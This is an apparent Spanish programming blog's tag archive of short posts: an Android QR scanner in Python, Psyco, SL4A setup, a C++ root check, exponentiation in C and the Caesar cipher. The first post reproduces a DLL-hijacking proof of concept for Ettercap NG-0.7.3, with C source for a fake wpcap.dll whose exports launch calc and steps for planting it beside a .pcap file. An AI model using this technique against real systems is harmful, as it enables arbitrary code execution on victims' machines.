Entradas etiquetadas con Programación
Ettercap NG-0.7.3 DLL Exploit
8 abr
---------------------------------------------------------------------- Exploit Title: Ettercap NG-0.7.3 DLL hijacking (wpcap.dll) Autor: $ slashdot Testeado: Windows XP SP3 Extensión Vulnerable: .pcap ---------------------------------------------------------------------- #include <windows.h> #define DLLIMPORT __declspec (dllexport) DLLIMPORT void pcap_findalldevs() { evil(); } DLLIMPORT void pcap_close() { evil(); } DLLIMPORT void pcap_compile() { evil(); } DLLIMPORT void pcap_datalink() { evil(); } DLLIMPORT void pcap_datalink_val_to_description() { evil(); } DLLIMPORT void pcap_dump() { evil(); } DLLIMPORT void pcap_dump_close() { evil(); } DLLIMPORT void pcap_dump_open() { evil(); } DLLIMPORT void pcap_file() { evil(); } DLLIMPORT void pcap_freecode() { evil(); } DLLIMPORT void pcap_geterr() { evil(); } DLLIMPORT void pcap_getevent() { evil(); } DLLIMPORT void pcap_lib_version() { evil(); } DLLIMPORT void pcap_lookupdev() { evil(); } DLLIMPORT void pcap_lookupnet() { evil(); } DLLIMPORT void pcap_loop() { evil(); } DLLIMPORT void pcap_open_live() { evil(); } DLLIMPORT void pcap_open_offline() { evil(); } DLLIMPORT void pcap_setfilter() { evil(); } DLLIMPORT void pcap_snapshot() { evil(); } DLLIMPORT void pcap_stats() { evil(); } int evil() { WinExec("calc", 0); exit(0); return 0; }
Compilar y renombrar a wpcap.dll, crear en el mismo directorio que el archivo .pcap
Escáner de códigos Qr en Python (Android)
2 abr
Recién instalé SL4A en mi móvil, y decidí programar algo en Python. De esto, surgió el pyScanBarcode.py
No siendo más, acá dejo el código
#-*- coding: utf-8 -*- import android droid = android.Android() sCode = droid.scanBarcode() #Debug #print sCode (sRslt, sType) = sCode.result['extras']['la.droid.qr.result'], sCode.result['extras']['SCAN_RESULT_FORMAT'] QMSG = ''' by .:WindHack:. Tipo: %s Contenido: %s''' % (sType, sRslt) droid.dialogCreateAlert('Resultado del Escáner', QMSG) if sRslt.startswith('http'): droid.dialogSetPositiveButtonText('Abrir') droid.dialogSetNeutralButtonText('Copiar contenido') droid.dialogSetNegativeButtonText('Cerrar') droid.dialogShow() sResponse = droid.dialogGetResponse().result if sResponse['which'] == 'positive': droid.view(sRslt) elif sResponse['which'] == 'neutral': droid.setClipboard(sRslt) droid.notify('pyScanBarcode', 'Contenido copiado con éxito. ¡Gracias!') elif sResponse['which'] == 'negative': exit()
Psyco: acelera tus aplicaciones
26 ene
Psyco es un módulo que nos permite mejorar la velocidad de nuestros programas a cambio de un pequeño tiempo de inicialización. Esto se logra a partir de la compilación de código.
Para que Psyco compile tanto código como sea posible, sólo hay que añadir:
import psyco psyco.full()
Pero para aplicaciones complejas, la función full no será de ayuda puesto que necesitará mucho tiempo y memoria. En este caso, podemos recurrir a la función profile la cual analizará el código y estudiará que funciones merece la pena compilar.
import psyco psyco.profile()
También sería útil llamar a la función log mediante la cual psyco crea un archivo de texto con el tiempo de ejecución y la memoria utilizada para el programa y también nos informará de cualquier problema que se pueda haber encontrado.
Podemos indicarle la función, clase o métido explicitamente a través de la función bind
import psyco psyco.log() psyco.profile()
Podemos indicarle la función, clase o métido explicitamente a través de la función bind.
import psyco psyco.bind(la_funcion)
Fuente: Cibernodo Más Información
Instalar Python (y otros) en Android
26 ene
Hace poco, por curiosidad, busqué una forma de instalar el intérprete de Python* en Android. Googleando un poco, di con unas aplicaciones que permiten portar y usar estos intérpretes de forma nativa en este sistema.
* Aplica para varios lenguajes más, el proceso es el mismo.
1. Requisitos- Un dispositivo con Android 2.0 o superior.
- El AC SWM (AndroidCentral Sideload Wonder Machine)
2. Instalando el SL4A
El SL4A es un software que gestiona la instalación de intérpretes, ejecución, edición y manipulación de scripts. Para poder continuar con este tutorial es indispensable que lo instalemos.
2.1 Instalar desde el dispositivo Es básicamente el método más sencillo. Debes navegar por la página de descargas del SL4A y bajar la versión más reciente (sl4a_r4.apk). Una vez descargada, la instalas normalmente.
NOTA: Para usar este método hay que tener activa la opción de ”Orígenes desconocidos“ en Ajustes -> Aplicaciones.
2.2 Instalar desde el PC Si por cualquier extraña razón el primer método no funciona (como en mi caso), tenemos esta opción. En este caso, usaremos la aplicación AC SWM (AndroidCentral Sideload Wonder Machine).
Conectamos el móvil en modo ‘Depuración’, luego seleccionamos el .apk y damos clic en Install. Más información sobre este método
3. Instalando el Intérprete
Como en el caso anterior, se pueden instalar los intérpretes mediante dos métodos.
3.1 Instalar desde el dispositivo Vamos a abrir el SL4A. Te aparecerá una ventana como esta:
Abre el menú “View” Más >
CodeRun, el entorno de desarrollo ( IDE ) en la nube
5 jun
CodeRun es un entorno de desarrollo online/en la nube, en el cual los desarrolladores podrán trabajar en sus proyectos estén donde estén. Para facilitar aún más las cosas, el aspecto visual se ha cuidado mucho para obtener una interfaz bastante agradable.
Usar CodeRun y registrarnos es gratuito y a la hora de crear un nuevo proyecto podemos elegir entre: C#, ASP.NET JavaScript, PHP, HTML y CSS. Además de eso, dispones de varios servidores de aplicaciones como ASP.net, Silverlight, PHP, etc.
Es una alternativa intuitiva, sencilla y rápida para los IDEs que usamos día a día, Y efectivamente ya podemos ver como “la nube” se acerca más y más, sin duda alguna ese será nuestro futuro inevitable.
Sitio web: CodeRun
SharkTube: ¡Descarga vídeos de YouTube!
22 abr
SharkTube es una utilidad o aplicación gratuita que te permite descargar vídeos de YouTube. Este programa es una versión sucesora del WS Downloader y ha sido desarrollado en el mismo lenguaje de programación del anterior ( Python ).
Las nuevas características y mejoras son:
- Más servidores de YouTube.
- Disponibilidad de formatos FLV, MP4, entre otros. *
- Ejecutable por línea de comandos y alternativa con Interfaz web.
- Mejor rendimiento en la búsqueda de servidores.
- Extracción de título, descripción y enlace corto.
- Posibilidad de compartir el vídeo en servicios sociales.
Se tiene pensado realizar un sitio web que ofrezca el mismo servicio para los usuarios que no pueden o no desean usar estas utilidades. Aún no es algo seguro, pero espero poder desarrollar este proyecto.
Modo de usoEnlas distribuciones de GNU/Linux se puede ejecutar de las siguientes maneras:
- Shark.py | Consola Interactiva
~$ python shark.py
~$ chmod +x shark.py ~$ ./shark.py
- SharkWeb.py | Interfaz Web
~$ python sharkweb.py
~$ chmod +x sharkweb.py ~$ ./sharkweb.py
Para ejecutar en Windows, simplemente se debe acceder al archivo .bat correspondiente.
Captura DescargaNOTA: Esta utilidad se encuentra registrada en SafeCreative bajo la licencia Creative Commons Reconocimiento-NoComercial-CompartirIgual 3.0.
Hay disponibles las siguientes descargas:
- Consola Interactiva ( Shark.py ) | Clic aquí.
- Interfaz web ( SharkWeb.rar ) | Clic aquí.
- Proyecto completo ( SharkTube.rar ) | Clic aquí.
Eso es todo, espero les sea de ayuda y le puedan sacar provecho.
Por último, agradecimiento especial Más >
Saber si se está ejecutando como root
21 dic
En algunos casos necesitamos que nuestra aplicación sea ejecutada como usuario root en GNU/Linux. Por lo cual, debemos de comprobar cuál usuario ejecutó la aplicación.
En este caso lo haré en C++ y usando la función getuid(), la cual retorna el Id. del usuario ( User ID, UID ) que es un número único y hace referencia al usuario en el archivo /etc/passwd.
Si abrimos el archivo anterior podemos encontrar en la primera línea lo siguiente:
root:x:0:0:root:/root:/bin/bash
El cuarto valor sería el identificador.
Bueno, no siendo más voy con el código. En este caso, diseñé la función IsRoot() que retorna 0 si se ejecutó como root y 1 si no.
#include <unistd.h> #include <iostream> using namespace std; /* * IsRoot() */ int IsRoot() { int sUser = getuid(); if (sUser != 0) return 1; else return 0; } int main() { if (IsRoot() == 0) { cout << "-- Root Calc --" << endl; cout << " 2 x 2 = " << 2*2 << endl; } else cout << "Debe ejecutar como root" << endl; }
Espiral de la muerte…Bucle infinito en la naturaleza
19 sep
El sistema de traslado de las hormigas es muy simple y sencillo. Una hormiga sigue a otra que sigue a la siguiente…A pesar de sonar extraño, es buen método para protegerse y mantenerse organizadas, pero en algunas ocasiones este estilo se lleva al extremo cuando un grupo de hormigas se separa del grupo principal y se desvía hasta que la primera hormiga se encuentra con la última y la sigue, formando un círculo que las hormigas siguen hasta morir por agotamiento.
El fenómeno recibe el nombre de «espiral de la muerte», que en un ambiente informático sería como un bucle infinito…
Potenciación de números naturales en C/C++
12 jul
La potenciación es una expresión matemática que consta de dos términos denominados: base (a) y exponente (n).
Se escribe: y se lee «a elevado a la n». Siempre y cuando sean números naturales ésto equivaldría a multiplicar la base por sí misma el número de veces indicado por el exponente.
Programando cálculo en C/C++Para calcular la potencia de un número, podemos recurrir a la función pow(); ya implementada, que se encuentra en <math.h>. O bien hacerla nosotros.
En éste caso elegí la segunda opción. Hacer nuestra propia función para cálculo de potencias. Vamos a manejar variables del tipo double, ya que son más cómodas para trabajar con potencias.
Declararemos la función de la siguiente manera:
double potencia(double base,double exponente);
Bien, ahora a trabajar en ella. Según la declaración, tenemos dos variables a las cuales podemos acceder, pero necesitamos declarar otra, la cual contendrá el resultado de la operación matemática que haremos.
double potencia(double base,double exponente) { double temp = 1; /* Parte de código */ }
Aquella variable la inicializamos en «1», ¿por qué?, porque ésta es necesaria multiplicarla por la base, y teniendo un valor nulo, no nos serviría.
Bien, ahora para multiplicar la base por el número de veces declarada por el exponente usaremos el bucle for, con él multiplicaremos la variable temporal por la base el número de veces declarado, y Más >
¿Qué es el Cifrado César?
29 may
El cifrado César, también conocido como cifrado por desplazamiento, código de César o desplazamiento de César, es una de las técnicas decodificación más simples y más usadas. Es un tipo de cifrado por sustitución en el que una letra en el texto original es reemplazada por otra letra que se encuentra un número fijo de posiciones más adelante en el alfabeto. Por ejemplo, con un desplazamiento de 3, la A sería sustituida por la D (situada 3 lugares a la derecha de la A ), la B sería reemplazada por la E, etc. Este método debe su nombre a Julio César, que lo usaba para comunicarse con sus generales.
En síntesis, el cifrado César es una técnica de codificación que consiste en mover los caracteres de una palabra de acuerdo a la posición dada en la clave, por ejemplo:
Palabra Original: Hola
Clave de cifrado: 3
Palabra cifrada: Krod
Siendo así:
El descifrado es igual de sencillo, pero haciendo el proceso contrario, si en el cifrado sumamos la clave a la palabra, logrando así un movimiento, en el descifrado simplemente restamos.
Enfocándonos un poco en la implementación de este cifrado en la programación, se han realizado varias versiones de acuerdo a cada lenguaje.
Versiones disponibles ( Java por [p3ll3] ) ( C++ por .:WindHack:. ) ( Pascal por .:WindHack:.) ( Batch por Bolivianito ) ( Python Más >
